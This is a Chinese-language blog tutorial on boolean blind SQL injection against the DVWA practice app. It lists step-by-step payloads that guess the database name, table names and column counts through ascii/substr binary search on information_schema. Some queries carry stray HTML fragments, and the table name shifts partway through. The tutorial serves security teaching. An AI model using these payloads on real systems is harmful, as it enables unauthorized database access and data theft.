sql server 从左侧截取不固定长度_sql盲注布尔注入

sql盲注:从执行结果上无法从页面上看到之行结果

无法分析sql执行过程,甚至无法得知是否运行

盲注相对复杂

一.在安全级别为LOW基于布尔的盲注-注入点及类型判断

dbe8869b8dfd6fb8abb849f4a7068819.png

1.php代码分析

96eda2d12195317d44502da8266ab3d8.png

先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,之后再数据库中查询数据,将结果输出给result,将结果集中行的数量,如果大于0,输出User ID存在数据库中,否则发送数据包头并输出不存在数据库中,最后关闭函数。

2.函数分析

mysqli_num_rows()函数

9ae10eee9c757ad228216eed6db0f123.png

header()函数

4302302a3812fc20969bc54b8970265c.png

aed5ee5092de8d416dbfc52dfc13915c.png

3.实际操作

(1)判断是否存在注入

5ccc1e68b13bdff9e41945d497965852.png

出现这句话就是有注入点

(2)判断注入是字符型还是数字型

805a321ce802b1a1860cf8706a5375d8.png

8a1adb5d5fe211fdd9ebb7ec05de7be2.png

都能查到说明不是数字型

e843bc1d738a5647adb0e5378f9d1f67.png

26e817648b0ada37b576411940065bff.png

说明是字符型的

二.猜解数据库名

1.猜解数据库名的长度

1' and length(database())=1#

f597f33cd7db444770b8b50242682722.png

1' and length(database())=2#

f597f33cd7db444770b8b50242682722.png

1' and length(database())=3#

f597f33cd7db444770b8b50242682722.png

1' and length(database())=4#

41abd7fa3564b9e604440f4a814b6bd8.png

显示存在

说明数据库长度为4

2.使用二分法逐个字符猜解数据库名

(1)二分查找

(2)字符串截取函数

(3)ascii码对比

     Ascii()返回某个字符的ascii码值

     65-90是A-Z

     97-122是a-z

substr()字符串截取函数

     substr(database(),1,1)截取数据库名字,返回数据库名字的第一个字符

(第一个1是从第1个字符开始,第二个1是截取一个字符)

substr(database(),2,1)返回第二个字符

(1)1' and ascii(substr(database(),1,1))>97#判断最小英文字符

04b935a58f2106949554331f00c6c71e.png

(2)1' and ascii(substr(database(),1,1))<122#< span="">

9908f9c08b9e80de54e0cb36022b7530.png

所以是从b开始的,然后开始不断地尝试判断是什么字符

二分查找:a-z 总共26个字符,13,strat 97+13 109

(3)1' and ascii(substr(database(),1,1))>109#

       b366dca156cb73d8012f15646a632009.png

13个字符取一半6

97+6 103

1' and ascii(substr(database(),1,1))>103#

d83df717adec395fe51aa71d69ece48f.png

6取一半是3

97+3  100

1' and ascii(substr(database(),1,1))>100#

a445afda9c5bd5ad2a69ea39dd78cde4.png

3取一半是1

97+1   98

1' and ascii(substr(database(),1,1))>98#

476a91be35c69eb9d6669ae6151c9d4b.png

所以大于98

1' and ascii(substr(database(),1,1))>99#

b5b237a9560d2a395e2e72f68f620b9f.png

所以大于99,但不大于100

所以说第一个字符的ascii是100,d的ascii码是100,所以第一个字符是d

其他字符依次猜测,结果是dvwa

3猜一下数据库有几个表

1' and (select count(table_name) from information_schema.tables where table_schema=database())#

062c5635e29025824807e9235148f8d9.png

因为是盲注需要等量分析一下表的数量是几

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#

1eca01f5a3bc3cc065fcae5e060e270c.png

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

bf9767366c9644c10762e19a5ea5bd08.png

说明表的数量是2

4猜解每个表的长度(1’ and length(substr(查询语句,1))==1#)

查询语句:select table_name from information_schema.tables where table_schema=database() limit 0,1    正常显示两条记录,但这只显示第一条,此语句作用:只显示数据库下第一个表的表名

Limit 0,1的0是从第1条记录开始,1是显示的记录的条数

substr((select table_name from infromation_schema.tables where table_schema=database() limit 0,1),1)

总的sql语句是:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#

db2bd40bfbea90f7a53862a385b8a5f5.png

经过不断尝试,得知表名长度为9

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#

e1bdae423b231831bc52bac02159ec0c.png

5逐一猜一下表名(利用二分法)

ascii():返回单个字符的adcii码表

substr(返回表名,1,1):把表名从第1个字符开始截取,截取1个字符

返回表明的语句:(select table_name from information_schema.tables where table_schema=database() limit 0,1)

substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))

所以sql语句为

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=97#

dae2089826dca25081160a8138a5620a.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#< span="">

10ee71005cf63d0b3711032c9e8fb30a.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109#

0ac13cdc1bb7d52669c348b67daf1b05.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#

7aa01b854e05d70c0c45d35493bc9fc2.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

e74fc2455b3c86f3eb53c624a62dcd4b.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>98#

f9e3f5eebcc34f830d90be4347e25e8d.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>99#

97e3a7d6135c4e7f3c91f15381cd4833.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109#< span="">

4069789257319c82ee899aff8f445cdb.png

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103#< span="">

bc18920d213e27388463e618d9213d67.png

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103#< span="">

127b91667adc5a67a58230a3e0ec353d.png

通过试验得知表名第一个ascii值是103,即表名第一个字母为g,又知道表名长度为9,所以猜测是(guestbook),最终证明确实如此

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#

9f7a660545391ebf0c6f678141b63af5.png

d6a5bfd5bf71536e3baaabf0d3fe107c.png

6.猜字段数量

1' and (select count(column_name) from information_schema.columns where table_name='guestbook')=1#

455a23d4ca5986dc6de86e0e40e71868.png

1' and (select count(column_name) from information_schema.columns where table_name='guestbook')=3#

c9327554ddd37b1e4c97869008a75128.png

所以字段数量为3

7.猜每个字段的长度

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#

65a230fa2cccf265fc8feb7356b79dee.png

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#

366b60c4535402416ee65bdf7d189f7d.png

所以字段长度为7

8  猜字段名

9  猜数据

本文介绍的是SQL盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值